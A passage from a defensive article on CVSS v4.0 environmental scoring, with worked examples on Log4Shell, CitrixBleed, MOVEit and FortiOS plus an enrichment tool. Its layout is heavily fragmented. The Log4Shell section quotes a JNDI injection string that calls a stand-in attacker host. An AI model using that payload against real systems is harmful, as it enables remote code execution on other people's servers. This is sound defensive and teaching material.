MSI
:N
 / 
MSA
:N
Documentation
: 
"System [ID] network connections: inbound from [A,B],
outbound to [DB-READONLY] only. Firewall egress rules [FW-2201 through
FW-2203] block all other outbound. Network architecture diagram NDG-007."

Decision 5: Security Requirements — Adjusting for Asset Criticality

Security Requirements (CR/IR/AR) work differently from Modified Base metrics. Instead of overriding vendor assumptions, they adjust the score up or down based on how important CIA is for this asset in your organization:

High
-criticality asset (production customer database):
  
CR
:H
 / 
IR
:H
 / 
AR
:H
  → 
Score
 increases above the environmental-adjusted 
Base
  → 
The
 same vulnerability is 
MORE
 severe here than the vendor assumed
Low
-criticality asset (developer test environment):
  
CR
:L
 / 
IR
:L
 / 
AR
:L
  → 
Score
 decreases below the environmental-adjusted 
Base
  → 
The
 same vulnerability is 
LESS
 severe here
Same
 vulnerability, 
CVE
-
2023
-
44487
 (
HTTP
/
2
 
Rapid
 
Reset
):
  
On
 production 
CDN
 
edge:
  
BTE
 = 
8.9
 
High
 (
AR
:H
 - availability critical)
  
On
 dev test 
instance:
    
BTE
 = 
3.2
 
Low
  (
AR
:L
 - availability optional)

Environmental Adjustment Documentation Template​

CVE
: [
CVE
-
XXXX
-
XXXXX
]
Asset
: [system name / 
ID
]
Asset
 
Classification
: [
Confidentiality
: L/M/H] [
Integrity
: L/M/H] [
Availability
: L/M/H]
Base
 
Vector
 (from 
NVD
):
  [
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
]
  
Base
 
Score
: [
10.0
 
Critical
]
Threat
 
Enrichment
:
  
E:
 [A/P/U] - 
Source
: [
CISA
 
KEV
 / 
Exploit
DB 
EDB
-
XXXXX
 / 
No
 evidence]
  
EPSS
: [score] - 
Percentile
: [
XX
]th
Environmental
 
Adjustments
:
  [
MAV
:A
] - [
System
 on internal 
VLAN
, 
not
 internet-accessible. 
Evidence
: 
FW
-
RULE
-
XXXX
]
  [
MAC
:H
] - [
Access
 requires 
MFA
 
VPN
. 
Evidence
: 
POLICY
-
NET
-
022
]
  [
MSC
:N/MSI
:N/MSA
:N
] - [
Isolated
 system, no lateral movement paths. 
Evidence
: 
NDG
-
007
]
BTE
 
Vector
:
  [
CVSS
:
4.0
/.../
E:
P/
MAV
:A/MAC
:H/MSC
:N/MSI
:N/MSA
:N
]
  
BTE
 
Score
: [
5.9
 
Medium
]
Approved
 
by:
 [
Name
, 
Title
]
Date
: [
YYYY
-
MM
-
DD
]
Next
 
Review
: [
YYYY
-
MM
-
DD
 
or
 
"on next change event"
]
Change
 
Ticket
: [
TICKET
-
ID
]

Worked Example 1: CVE-2021–44228 Log4Shell — Score Evolution Over 72 Hours​

Log4Shell is the canonical example of a 10.0 Critical vulnerability that genuinely deserved its score and its emergency response. It also illustrates why CVSS scores must be treated as dynamic, not static.

The Vulnerability​

CVE-2021–44228— Apache Log4j2 JNDI injection, disclosed December 9–10, 2021. Log4j2 is a ubiquitous Java logging library used in virtually every Java application stack. The vulnerability allowed unauthenticated remote code execution by logging a specially crafted string like$&#123;jndi:ldap://attacker.com/exploit&#125;.

Base
 
Vector
:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Reading
 the 
vector:
  
AV
:N
   - 
Any
 internet attacker can reach 
Log4j
 (it processes log input from requests)
  
AC
:L
   - 
One
 malicious string 
in
 any logged field (
User
-
Agent
, username, etc.)
  
AT
:N
   - 
No
 special deployment conditions; 
Log4j
's default config enables JNDI lookup
  PR:N   - Unauthenticated; the string is logged before any auth check
  UI:N   - No user interaction
  VC:H   - Full compromise of the JVM process (RCE)
  VI:H   - Arbitrary code execution = arbitrary data modification
  VA:H   - Process crash or disruption possible
  SC:H   - Applications run with broad permissions; lateral movement to databases,
           APIs, secrets vaults is documented in nearly every case study
  SI:H   - Downstream integrity compromise confirmed in attacks
  SA:H   - Downstream availability impact confirmed
Base Score: 10.0 Critical

Hour 0: Disclosure (December 9, 2021)​

CVSS-B:  
10.0
 Critical (vendor-published score)
E:
       X (
Not
 Defined) — no 
public
 exploit yet at moment 
of
 NVD publication
Security team action 
with
 
default
 (E:X):
  Scanner shows 
10.0
 - emergency response initiated
  This 
is
 CORRECT. E:X defaults 
to
 E:A, 
and
 JNDI proof-
of
-concept
  was already circulating 
in
 
private
 channels at disclosure.

Hour 12–24: PoC Goes Public​

By December 10–11, multiple working proof-of-concept exploits appeared on GitHub. Mass scanning for vulnerable Log4j endpoints began within hours.

Threat 
update
: E:P (POC publicly available)
EPSS: immediately climbs toward 
0.90
+
CVSS
-
BT: still 
10.0
 Critical (E:P keeps score near maximum)
What changed operationally: The 
window
 
for
 "orderly patching" closed.
Evidence 
of
 active scanning meant 
any
 vulnerable internet
-
facing 
system
was being actively probed.

Hour 48–72: Mass Exploitation — Botnets, Ransomware, State Actors​

By December 11–13, CISA confirmed active exploitation. The KEV catalog entry was published with a remediation due date of December 24, 2021 (for federal agencies). NSA, GCHQ, and CISA issued joint advisories. Threat actors confirmed exploiting Log4Shell included Conti ransomware affiliates, Iranian state actors (APT35/Charming Kitten), Chinese state actors, and multiple criminal groups.

Threat update:
 
E:A
 
(actively
 
exploited
 
—
 
CISA
 
KEV
 
confirmed)
CVSS-BT:
 
10.0
 
Critical
 
(E:A
 
maximum)
Any environmental adjustment to MAV or MAC must be verified:
  
"Is this system actually isolated from the internet?"
  
→
 
Internet-facing:
 
10.0
 
-
 
immediate
 
patch,
 
no
 
exceptions
  
→
 
Internal,
 
no JNDI enabled:
 
consider
 
E:P
 
+
 
MAV:A
 
→
 
~7.4
 
High
  
→
 
Internal,
 
JNDI disabled in Log4j config:
 
document
 
mitigation
 
as
    
compensating
 
control;
 
MAT:P
 
or
 
MAC:H
 
may
 
apply
Note:
 
CVE-2021-45046
 
(bypass
 
for
 
initial
 
mitigations)
 
and
CVE-2021-45105
 
(DoS)
 
were
 
published
 
within
 
days,
 
complicating
 
patching.

Final Score Comparison: Same CVE, Different Contexts​

**Key lesson:**Even for a genuine 10.0 emergency, environmental context changes theresponse mechanismeven when it cannot reduce the overall priority. An internet-facing production server and an internal test instance require different actions, documented by CVSS-BTE.

Worked Example 2: CVE-2025–32433 Erlang/OTP SSH — From 10.0 to 5.9​

CVE-2025–32433 is an unauthenticated pre-auth RCE in Erlang/OTP’s SSH server. Base score 10.0. This example demonstrates how environmental context appropriately reduces emergency response to scheduled patching.

Step 0: The Base Score (NVD Published)​

Vector
: 
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Score
:  
10.0
 
Critical
Reading
 the 
vector:
  
AV
:N
  - 
SSH
 is exposed (vendor assumes internet-facing, worst 
case
)
  
AC
:L
  - 
Exploitation
 is straightforward once you reach the 
SSH
 port
  
AT
:N
  - 
No
 special configuration required; default 
OTP
 
SSH
 setup is vulnerable
  
PR
:N
  - 
Pre
-authentication 
RCE
 - no credentials needed
  
UI
:N
  - 
No
 user interaction required
  
VC
:H
  - 
Full
 code execution on the 
Erlang
/
OTP
 process
  
VI
:H
  - 
Attacker
 can write files, modify state
  
VA
:H
  - 
Can
 crash 
or
 kill the 
OTP
 application
  
SC
:H
  - 
Erlang
 applications often manage distributed systems; lateral pivot possible
  
SI
:H
, 
SA
:H
 - 
Downstream
 system compromise possible

Step 1: Modify Attack Vector — Is SSH Actually Exposed?​

Question:
 
Is
 
this
 
Erlang/OTP
 
SSH
 
service
 
accessible
 
from
 
the
 
internet?
Scenario
 
A
 
-
 
Internet-facing
 
(load
 
balancer
 
→
 
Erlang
 
cluster):
  
No change. AV:N is accurate. Score:
 
10.0
.
  
This
 
is
 
a
 
genuine
 
emergency.
 
Patch
 
or
 
firewall
 
the
 
port
 
immediately.
Scenario
 
B
 
-
 
Internal
 
cluster,
 
accessible from corporate network only:
  
MAV:A
 
(Modified
 
Attack Vector:
 
Adjacent)
  
Evidence:
 
Firewall
 
rule
 
FW-1042,
 
network
 
topology
 
confirms
 
no
 
external
 
routing.
  
Updated vector:
 
CVSS:4.0/.../MAV:A
  
Updated score:
  
9.4
 
Critical
  
Still
 
Critical
 
-
 
but
 
attacker
 
must
 
have
 
already
 
penetrated
 
your
 
perimeter.
  
Different
 
threat
 
model.

Step 2: Add Attack Complexity — Compensating Controls​

In
 many corporate deployments, 
SSH
 access also 
requires:
  - 
VPN
 connection with hardware token 
MFA
  - 
Jump
 host (bastion server) with session recording
  - 
IP
 allowlist restricting to specific admin hosts
→ 
MAC
:H
 (
Modified
 
Attack
 
Complexity
: 
High
)
Updated
 
vector:
 
CVSS
:
4.0
/.../
MAV
:A/MAC
:H
Updated
 
score:
  
8.7
 
High
Now
 
in
 
High
 tier - 
30
-day 
SLA
 instead of a 
24
–
72
 hour emergency response.

Step 3: Add Threat Intelligence​

Checking
 
sources
 
(as
 
of
 
initial
 
disclosure):CISA
 
KEV:
 
Not
 
listed
 
(at
 
time
 
of
 
initial
 
disclosure)
EPSS:
     
~0.04
 
initially
 
(low
 
exploitation
 
probability,
 
no
 
weaponized
 
exploit
 
yet)
ExploitDB:
 
No
 
entry
 
yet
GitHub:
   
POC
 
repositories
 
appeared
 
within
 
days
 
of
 
disclosure
 
(search
 
CVE-2025-32433)
→
 
E:P
 
(Proof
 
of
 
Concept
 
exists,
 
not
 
yet
 
actively
 
exploited
 
in
 
wild)
Updated vector:
 
CVSS:4.0/.../E:P/MAV:A/MAC:H
Updated score:
  
7.4
 
High
If KEV entry appears:
 
immediately
 
reclassify
 
to
 
E:A
 
→
 
score
 
rises
 
back
 
toward
 
9.0

Step 4: Assess Subsequent System Impact​

Question: Can this Erlang/OTP node reach sensitive downstream systems?
Scenario A - Erlang node manages distributed message queue with connections
to 
all application databases
:
  No change to SC/SI/SA - the blast radius is real.
  Score stays at 
7.4
 High.
Scenario B - Isolated analytics Erlang node, read-only DB access,
no write access to production 
systems
:
  
MSC
:L / 
MSI
:N / 
MSA
:L
  "Node only reads from replica DB, no write paths, no service account
  with production access. Network egress rules FW-
2089
 confirmed."
  Updated 
score
: ~
6.1
 Medium

Final Comparison Table​

**The takeaway:**A genuine 10.0 pre-auth RCE becomes a 5.9 Medium for an internal, MFA-protected, isolated node with no active exploit. That is not negligence — that is accurate risk modeling.

Worked Example 3: Firmware Report — 18 Criticals Become Medium​

This example demonstrates how Environmental metrics transform a firmware scanner report into an actionable prioritized list.

The Problem​

A firmware scan of an industrial IoT sensor returns:

Article image

The raw scanner output shows 3 Critical CVEs and 13 High CVEs — all requiring immediate response under Base-only scoring.

The Device Context​

  • Industrial flow sensor on a process control OT network

  • Not internet-accessible— connected only to local OT subnet

  • Read-only sensor data; no PII, no financial data

  • No GUI, no interactive user sessions

  • Vendor scored all CVEs assuming internet-facing deployment (BusyBox can be deployed anywhere)

Key Environmental Adjustment: MAV:A​

BusyBox CVEs withAV:Nassume the applet is accessible from the internet. On this sensor, it is accessible only from the adjacent OT subnet. Single adjustment:MAV:A.

Before and After

Article image

Summary transformation:

Article image

**Result:**The 3am emergency patching requirement disappears. The highest-priority items are now High severity, manageable within the next OT maintenance window. A team that was facing a weekend emergency now has a structured, scheduled response.

Important Caveat: Safety Metrics for OT​

If this sensor is part of a safety-critical process control system (chemical plant, power grid, water treatment), add the Supplemental Safety metric:

/S:P (Safety: Present)
This does 
not
 change the CVSS score. But it flags 
to
 any responder
that exploitation could have physical safety consequences - 
and
 those
consequences must be evaluated against the CVSS-BTE severity.
A CVSS-BTE 
6.5
 Medium 
with
 S:P 
on
 a safety controller may require
faster response than a 
7.9
 High 
with
 S:N 
on
 an admin workstation.

Worked Example 4: CitrixBleed, MOVEit, FortiOS​

Three real-world cases from 2023–2024 that illustrate different CVSS adjustment scenarios.

Case A: CVE-2023–4966 — CitrixBleed (Citrix NetScaler)​

**Vulnerability:**Sensitive information disclosure in Citrix NetScaler Application Delivery Controller (ADC) and Gateway. An unauthenticated attacker could retrieve session tokens, enabling session hijacking without credentials. Used extensively by ransomware affiliates (LockBit, Medusa) and government-sector attackers.

Base
 
Vector
:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:N/VA
:N/SC
:H/SI
:H/SA
:H
Base
 
Score
: 
9.4
 
Critical
Reading
 the base 
vector:
  
AV
:N
  - 
NetScaler
 is internet-facing by design (it is a load balancer/
VPN
 endpoint)
  
AC
:L
  - 
Single
 
HTTP
 request to /gwtest/formssso endpoint
  
AT
:N
  - 
No
 special preconditions; affects default configuration
  
PR
:N
  - 
Unauthenticated
  
UI
:N
  - 
No
 user interaction
  
VC
:H
  - 
Session
 token retrieved → full user account access
  
VI
:N
  - 
The
 vulnerability itself doesn
't modify data on NetScaler
  VA:N  - No availability impact from session theft
  SC:H  - Session tokens enable access to downstream internal resources
  SI:H  - Attacker with stolen session can modify data in downstream systems
  SA:H  - Downstream systems can be disrupted
CISA KEV: Added October 18, 2023 (within weeks of disclosure)
EPSS: ~0.97+ (extremely high, immediate mass exploitation)
Threat actors: LockBit affiliate, Boeing breach (confirmed), Allen & Overy, more

Environmental scoring for an external-facing Citrix deployment:

For
 a typical enterprise with internet-facing 
NetScaler
:
  
E:
A  — 
In
 
CISA
 
KEV
, confirmed ransomware exploitation
BTE
 (no modification possible - it 
IS
 internet-facing):
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:N/VA
:N/SC
:H/SI
:H/SA
:H/E
:A
Score
: 
9.4
 
Critical
 - 
Immediate
 response required.
No
 environmental adjustment can justify delay here.
If
 you have an internet-facing 
NetScaler
, this requires a 
24
–
72
 hour emergency response.

**Key operational point:**CitrixBleed demonstrates whyE:A(CISA KEV entry) must immediately override any environmental reduction arguments. The question is not "is our NetScaler important enough to patch quickly?" The question is "are there ransomware groups scanning for CitrixBleed right now?" The answer (confirmed by CISA, FBI, and multiple incident response reports) was: yes.

Case B: CVE-2023–34362 — MOVEit Transfer SQLi​

**Vulnerability:**SQL injection in Progress Software’s MOVEit Transfer managed file transfer platform. Exploited exclusively by the Cl0p ransomware group in a coordinated mass-exploitation campaign in May–June 2023. Affected 2,000+ organizations globally, including government agencies, hospitals, and financial firms.

Base
 
Vector
:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Base
 
Score
: 
9.8
 
Critical
Key
 
characteristics:
  
AT
:N
 - 
Default
 configuration is vulnerable
  
AU
:Y
 (
Supplemental
: 
Automatable
: 
Yes
) - 
Cl0p
 used automated mass exploitation
  
V:
C  (
Supplemental
: 
Value
 
Density
: 
Concentrated
) - 
File
 transfer platforms hold
       files from 
MANY
 organizations → single compromise = mass data access

The supply chain scoring challenge:

MOVEit Transfer is amanaged file transfer service. Organizations that used it often uploaded data from multiple business partners. The Subsequent System impact in v4.0 terms extends not just to internal systems, but to third-party data processed through the platform.

For
 a MOVEit instance processing healthcare data 
for
 
50
 partner organizations:
SC:
H (data 
from
 all 
50
 partner orgs 
is
 accessible)
SI:
H (data integrity 
of
 all 
50
 orgs
' files at risk)
SA:
H (disruption affects all 
50
 orgs
' workflows)
This 
is
 exactly the v4.
0
 Subsequent System model working 
as
 intended.
The 
"blast radius"
 
in
 SC/SI/SA must reflect the full downstream exposure,
not
 just the immediate server.

Case C: CVE-2024–21762 — FortiOS SSL VPN Out-of-Bounds Write​

**Vulnerability:**Out-of-bounds write in FortiOS and FortiProxy SSL VPN. Enables unauthenticated remote code execution via specially crafted HTTP requests. Exploited by Chinese state-sponsored threat actors (attributed to Volt Typhoon and related clusters) for initial access into US critical infrastructure.

Base
 
Vector
:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Base
 
Score
: 
9.6
 
Critical
CISA
 
KEV
: 
Added
 
February
 
9
, 
2024
Attribution
: 
Chinese
 state actors (
Volt
 
Typhoon
, 
BRONZE
 
SILHOUETTE
)
Targets
: 
US
 telecom, utilities, water systems, defense contractors
EPSS
: ~
0.97
+

Why environmental adjustments cannot help here:

Some organizations attempted 
to
 argue:
  
"Our FortiGate is behind our ISP's firewall"
 → This 
is
 the perimeter device;
  it 
IS
 the firewall. MAV:A does 
not
 apply.
"We have IDS monitoring"
 → FortiOS exploitation bypasses host-based monitoring
  because the exploit targets the device providing network access.
  
"We have incident response capability"
 → This affects recovery, 
not
 exploitability.
For
 any internet-facing SSL VPN endpoint: E:A + AV:N = no score reduction possible.
The CVSS-BTE remains at 
or
 near 
9.6
 Critical.

**Key lesson from these three cases:**Environmental metrics are for reducing false priorities on legitimate non-urgent vulnerabilities. They are not for manufacturing justifications to defer critical work. When CISA KEV + high EPSS + confirmed exploitation by nation-state or ransomware actors =E:A, your response is patching, not scoring.

Industry-Specific Scoring: Healthcare, Finance, OT/ICS​

Different industries have fundamentally different CIA priority models. This affects how Security Requirements (CR/IR/AR) should be set.

Healthcare (HIPAA Environment)​

In healthcare,Confidentialityis paramount — HIPAA civil penalties range from ~$137 to ~$68,928 per violation (inflation-adjusted tiers as of 2023), with annual caps per violation category up to $2M+. Patient data exposure is the primary risk.

Healthcare Security Requirements Profile:
  
CR:H
 
—
 
Patient data confidentiality:
 
extremely
 
high
 
(HIPAA,
 
HITECH)
  
IR:H
 
—
 
Clinical data integrity:
 
critical
 
(wrong
 
data
 
→
 
clinical
 
decisions)
  
AR:H
 
—
 
System availability:
 
high
 
(clinical
 
workflows
 
depend
 
on
 
uptime)
Example:
 
CVE
 
on
 
a
 
hospital's
 
Electronic
 
Health
 
Record
 
(EHR)
 
system:
Base:
 
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Base Score:
 
5.3
 
Medium
With healthcare profile:
  
/CR:H/IR:H/AR:H
BTE Score:
 
~7.1
 
High
 
-
 
urgent
 
patching
 
required
Same vulnerability on internal developer workstation:
  
/CR:L/IR:L/AR:L/MAV:L
BTE Score:
 
~2.8
 
Low
 
-
 
next
 
maintenance
 
window

Healthcare-specific supplemental metrics:

  • S:P(Safety: Present) — for vulnerabilities in infusion pumps, ventilators, monitoring systems

  • R:I(Recovery: Irrecoverable) — for ransomware affecting PACS/clinical imaging

Financial Services (PCI-DSS / SOX Environment)​

In finance,Integrityis often more critical than Confidentiality — financial data manipulation can cause immediate monetary loss, while data disclosure may take weeks to monetize.

Financial
 
Services
 
Security
 
Requirements
 
Profile
:
  
CR
:H
 — 
Customer
 financial 
data:
 high (regulatory, reputational)
  
IR
:H
 — 
Transaction
 
integrity:
 
CRITICAL
 (fraud, unauthorized transfers)
  
AR
:H
 — 
Trading
/payment 
systems:
 critical (
SLAs
, regulatory requirements)
Key
 distinction from 
healthcare:
 
IR
:H
 often matters 
MORE
 than 
CR
:H
 here.
Example
: 
SQL
 injection 
in
 a payment processing 
portal:
Base
: 
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:L/SC
:N/SI
:N/SA
:N
Base
 
Score
: 
8.9
 
High
With
 
PCI
 environment profile 
for
 payment card data 
scope:
  /
CR
:H/IR
:H/AR
:H
BTE
 
Score
: ~
9.4
 
Critical
 - treat as emergency
Same
 vulnerability on a market-data read-only display 
terminal:
  /
CR
:L/IR
:L/AR
:L/MAV
:A
BTE
 
Score
: ~
4.1
 
Medium

OT/ICS (Industrial Control Systems)​

In OT environments,Availability and Safetyoften supersede Confidentiality. Data breaches are bad; plant shutdowns and physical harm are catastrophic.

OT
/
ICS
 
Security
 
Requirements
 
Profile
:
  
CR
:L
  — 
Process
 data is often 
not
 sensitive (flow rates, temperatures)
  
IR
:H
  — 
Control
 data integrity is critical (wrong setpoint = equipment damage)
  
AR
:H
  — 
Process
 availability is critical (plant shutdown = immediate loss)
  
S:
P   — 
Many
 
OT
 vulnerabilities have physical safety implications
Critical
 
distinction:
 
In
 
OT
, patching is 
NOT
 always possible on short timelines.
A patch that requires a production system restart may be more disruptive than
the vulnerability itself.
CVSS
-
BTE
 
for
 
OT
 must account 
for:
  
1
. 
The
 actual network exposure (almost always 
MAV
:A
 
or
 
MAV
:L
 
for
 
OT
)
  
2
. 
The
 patching cost (use 
Vulnerability
 
Response
 
Effort
: 
RE
:H
 
for
 
OT
)
  
3
. 
The
 safety impact (
Safety
: 
S:
P 
when
 applicable)
Example
: 
CVE
 on a 
Siemens
 
S7
 
PLC
 (
SCADA
 context):
Base
: 
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:P/PR
:N/UI
:N/VC
:L/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Base
 
Score
: 
9.3
 
Critical
OT
 environmental 
adjustment:
  
MAV
:A
  - 
PLC
 on isolated 
OT
 
VLAN
, air-gapped from corporate
  
MAC
:H
  - 
Access
 requires physical 
OT
 network entry (secured facility)
  
CR
:L
   - 
Process
 data is non-sensitive
  
IR
:H
   - 
Control
 integrity critical
  
AR
:H
   - 
Process
 availability critical
  /
S:
P   - 
Physical
 safety implications (supplemental, 
not
 scored)
  /
RE
:H
  - 
Patching
 requires production window, vendor support (supplemental)
BTE
 
Score
: ~
7.8
 
High
Action
: 
Schedule
 
for
 
next
 maintenance window (may be months away)
Interim
 
mitigation:
 
Network
 segmentation controls (document 
in
 
CVSS
-
BTE
)

Industry Scoring Profile Quick Reference​

Article image

CVSS vs SSVC: When to Use Which​

**SSVC (Stakeholder-Specific Vulnerability Categorization)**is CISA’s decision-tree framework for vulnerability prioritization. It is an alternative (not replacement) to CVSS that uses a different model.

How SSVC Works​

SSVC asks four questions in sequence, each with structured answers:

1.
 Exploitation Status
   → None / POC / Active
   (same concept as CVSS E metric, but drives the whole tree)
2.
 Automatable
   → Yes / No
   (Can the vulnerability be exploited at scale without human interaction?)
3.
 Technical Impact
   → Partial / Total
   (Does exploitation give total system control or partial?)
4.
 Mission and Well-being Impact
   → Minimal / Material / Irreversible
   (What is the downstream organizational and human impact?)
Outputs (instead of a number): Track / Attend / Act / Immediate

CVSS vs SSVC Comparison​

Article image

When to Use Each​

Use CVSS when:

  • Regulatory compliance requires it (PCI DSS, HIPAA, NIS2, NIST RMF)

  • You need a numeric score for SLA tracking and audit trails

  • You are integrating with SIEM, ticketing systems, or scanners that consume CVSS vectors

  • You need fine-grained documentation of WHY a vulnerability is de-prioritized

  • Supply chain transparency (SBOM, vendor contracts)

Use SSVC when:

  • You need rapid triage without deep metric analysis

  • Your team is small and lacks time for full CVSS-BTE enrichment

  • You are in a government/defense context where CISA guidance is authoritative

  • You want a clear output for non-technical stakeholders (“Act on this now” vs “Track it”)

Use both when:

  • CVSS-BTE for documentation, compliance, and audit

  • SSVC for team-level triage and prioritization decisions

  • Both frameworks reaching the same conclusion = high confidence

Example comparison — CVE-2023–4966 (CitrixBleed):

CVSS-BTE
 
(internet-facing
 
NetScaler,
 
E:A):
  
Score:
 
9.4
 
Critical
  
SLA:
 
Patch
 
within
 
24
 
hours
  
Documentation:
 
vector
 
string
 
with
 
E:A,
 
justification
 
for
 
each
 
metric
SSVC:
  
Exploitation:
 
Active
  
Automatable:
 
Yes
 
(scanning
 
was
 
automated,
 
documented)
  
Technical Impact:
 
Total
 
(full
 
session
 
token
 
theft)
  
Mission/Well-being:
 
Irreversible
 
(customer
 
data
 
exposure,
 
regulatory)
  
→
 
Decision:
 
Immediate
Both outputs agree:
 
drop
 
everything,
 
patch
 
now.

The Practical VM Workflow: From Scanner Output to Prioritized Action​

The 6-Step Process​

Article image

┌───────────────────────────────────────────────────────────────┐
│             VULNERABILITY MANAGEMENT WORKFLOW (CVSS v4
.0
)     │
│                                                               │
│  Step 
1
: INGEST                                               │
│    Scanner Report → extract 
all
 CVE IDs 
+
 Base Vectors        │
│    (Tenable, Qualys, Rapid7, Wiz 
all
 export CVE IDs)          │
│                                                               │
│  Step 
2
: THREAT ENRICHMENT (automated, applies 
to
 
all
 CVEs)   │
│    ┌─────────────────────────────────────────────────────┐    │
│    │ CISA KEV API → E:A if listed                        │    │
│    │ EPSS API → E:P if ≥ 
0.1
, E:U if 
<
 
0.1
               │    │
│    │ Override: E:A if KEV regardless 
of
 EPSS             │    │
│    └─────────────────────────────────────────────────────┘    │
│                                                               │
│  Step 
3
: ASSET 
GROUPING
                                       │
│    
Group
 CVEs 
by
 affected 
system
/
network zone                 │
│    Tag 
each
 
group
: zone, data class, compensating controls    │
│                                                               │
│  Step 
4
: ENVIRONMENTAL ENRICHMENT (
per
 asset 
group
)           │
│    ┌─────────────────────────────────────────────────────┐    │
│    │ Network zone → MAV 
value
 (N
/
A
/
L
/
P)                  │    │
│    │ Access controls → MAC 
value
 (L
/
H)                   │    │
│    │ Data classification → MVC
/
MVI 
values
                │    │
│    │ Blast radius → MSC
/
MSI
/
MSA 
values
                   │    │
│    │ Asset criticality → CR
/
IR
/
AR 
values
                 │    │
│    └─────────────────────────────────────────────────────┘    │
│                                                               │
│  Step 
5
: RECALCULATE 
ALL
 SCORES                               │
│    CVSS v4
.0
 calculator API 
or
 FIRST.org calculator           │
│    Output: CVSS
-
BTE score 
per
 CVE 
per
 asset 
group
             │
│                                                               │
│  Step 
6
: PRIORITIZE 
AND
 ACT (
by
 CVSS
-
BTE)                     │
│    Critical (
9.0
+
): 
24
–
72
 hours — emergency response          │
│    High (
7.0
–
8.9
):  
30
 days — planned sprint                  │
│    Medium (
4.0
–
6.9
): 
90
 days — next maintenance 
window
        │
│    Low (
<
4.0
): Next major 
release
 
/
 accept risk               │
└───────────────────────────────────────────────────────────────┘

CVSS v4.0 Enrichment Tool​

The pipeline described throughout this section is available as a standalone command-line tool:cvss_enrichment_tool(GitHub).

git 
clone
 https://github.com/anpa1200/cvss_4.0.git 
cd
 cvss_4.0
pip3 install requests
python3 cvss_enrichment_tool.py --cves CVE-2021-44228 CVE-2023-4966 --profile internet_facing

How It Works​

The tool implements the three-stage enrichment pipeline in a single automated run:

CVE IDs → NVD 
API
 
(Base vector)
 → CISA 
KEV
 
(E:A?)
 → EPSS 
API
 
(E:P/E:U?)
        → Apply asset 
profile
 
(MAV/MAC/CR/IR/AR/MSC...)
        → Output CVSS-BTE vector + severity band + SLA recommendation

**Stage 1 — Base vector (NVD API 2.0).**For each CVE ID the tool queriesservices.nvd.nist.govand retrieves the CVSS vector string. It prefers a v4.0 vector; if only a v3.1 vector exists (common for CVEs predating November 2023), it applies threat-only enrichment and flags the result for manual re-scoring at the FIRST.org calculator.

**Stage 2 — Threat enrichment (KEV + EPSS).**The tool downloads the full CISA KEV catalog in a single request and checks each CVE against it. If listed →E:A. Otherwise it queries the FIRST.org EPSS API: EPSS ≥ 0.5 or ≥ 0.1 →E:P; below 0.1 →E:U.

**Stage 3 — Environmental enrichment (asset profile).**Modified Base metrics and Security Requirements from the selected profile are appended to the vector. The tool ships with six built-in profiles —internet_facing,internal_vlan,isolated_ot,dev_test,healthcare_ehr,pci_payment— covering the most common deployment contexts described in this article.

Output​

The tool prints a severity-ranked table and optionally writes CSV (--output) or JSON (--json) for import into ticket systems or dashboards:

CVE
                   
CVSS
   
KEV
     
EPSS
  
E
      
Severity
    
SLA
──────────────────────────────────────────────────────────────────
CVE-2021-44228
         
3.1
   
YES
   
0.9446
  
E
:
A
    
Critical
    
24
–
72
 
hours
CVE-2023-4966
          
3.1
   
YES
   
0.9435
  
E
:
A
    
Critical
    
24
–
72
 
hours
CVE-2023-34362
         
3.1
   
YES
   
0.9437
  
E
:
A
    
Critical
    
24
–
72
 
hours
CVE-2024-21762
         
3.1
   
YES
   
0.9308
  
E
:
A
    
Critical
    
24
–
72
 
hours
CVE-2025-32433
         
3.1
   
YES
   
0.5031
  
E
:
A
    
Critical
    
24
–
72
 
hours

Full documentation, profile definitions, and NVD API key instructions are in the repository README:https://github.com/anpa1200/cvss_4.0

Article image

CVSS as Regulatory Framework: The 5-Phase Maturity Model​

The CVSS v4.0 lifecycle (CVSS-B → CVSS-BT → CVSS-BTE) maps directly to a regulatory maturity roadmap. This framework was formalized by Rob Arnold (Acorn Pass / CVSS Associates) in the whitepaper “Enhancing National Cyber Resilience: CVSS v4.0 as a Regulatory Framework” (2025).

The 5 Phases + SCRM Track​

Article image

The Gaming Prevention Problem​

At Phase 5, CVSS-BTE scores can be lower than CVSS-B. This creates an incentive: organizations might manipulate Environmental metrics to claim compliance while leaving real vulnerabilities unaddressed.

The regulatory countermeasure:

Auditors verify environmental claims against evidence:

  • MAV:Aclaimed → auditor validates against firewall rules, network diagrams, penetration test results

  • MAC:Hclaimed → auditor validates against policy documents, VPN logs, MFA enrollment records

  • MSC:Nclaimed → auditor validates against network topology and egress controls

Auditors verify response to changing E metrics:

  • IfE:Uwas set last quarter and the CVE just entered CISA KEV, did the organization detect this change?

  • Did they update the E metric from U to A?

  • Did they escalate the remediation priority accordingly?

The principle from the FIRST.org guide:CVSS-BTE scores are defensible precisely because they are documented and auditable. An organization cannot reduce a score without leaving an evidence trail that auditors can verify.

Regulatory Applications by Framework:

Article image

Supply Chain CVSS (SCRM Track)​

Organizations at Phase 5 embed CVSS requirements in supplier contracts:

Example supplier contract 
language
:
1.
 The Supplier shall disclose CVSS v4
.0
 Base vectors 
for
 
all
   vulnerabilities 
in
 delivered software 
within
 
5
 business days
   
of
 CVE publication.
2.
 The Supplier shall provide software updates 
or
 documented
   mitigations sufficient 
to
 enable the Buyer 
to
 achieve a
   CVSS
-
BTE score 
of
 ≤ Medium (
6.9
) 
for
 
all
 High 
or
 Critical
   Base vulnerabilities.
3.
